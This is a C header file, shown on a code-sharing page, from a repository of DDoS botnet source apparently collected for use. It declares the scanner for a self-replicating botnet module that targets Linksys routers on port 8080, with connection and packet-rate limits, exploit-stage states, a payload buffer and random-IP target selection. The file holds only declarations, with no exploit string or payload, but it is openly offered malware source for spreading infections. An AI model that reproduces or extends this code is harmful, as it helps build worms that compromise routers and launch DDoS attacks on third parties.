Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/LinkSys/linksys8080.h
5038 views
1
#ifdef SELFREP
2
#pragma once
3
#include <stdint.h>
4
#include "includes.h"
5
#ifdef X86_64
6
#define linksysscanner_SCANNER_MAX_CONNS 512
7
#define linksysscanner_SCANNER_RAW_PPS 1440
8
#else
9
#define linksysscanner_SCANNER_MAX_CONNS 256
10
#define linksysscanner_SCANNER_RAW_PPS 1024
11
#endif
12
13
#ifdef X86_64
14
#define linksysscanner_SCANNER_RDBUF_SIZE 1024
15
#define linksysscanner_SCANNER_HACK_DRAIN 64
16
#else
17
#define linksysscanner_SCANNER_RDBUF_SIZE 1024
18
#define linksysscanner_SCANNER_HACK_DRAIN 64
19
#endif
20
21
struct linksysscanner_scanner_connection
22
{
23
int fd, last_recv;
24
enum
25
{
26
linksysscanner_SC_CLOSED,
27
linksysscanner_SC_CONNECTING,
28
linksysscanner_SC_EXPLOIT_STAGE2,
29
linksysscanner_SC_EXPLOIT_STAGE3,
30
} state;
31
ipv4_t dst_addr;
32
uint16_t dst_port;
33
int rdbuf_pos;
34
char rdbuf[linksysscanner_SCANNER_RDBUF_SIZE];
35
char payload_buf[2024];
36
};
37
38
void linksysscanner_scanner_init();
39
void linksysscanner_scanner_kill(void);
40
41
static void linksysscanner_setup_connection(struct linksysscanner_scanner_connection *);
42
static ipv4_t linksysscanner_get_random_ip(void);
43
44
#endif
45
46
47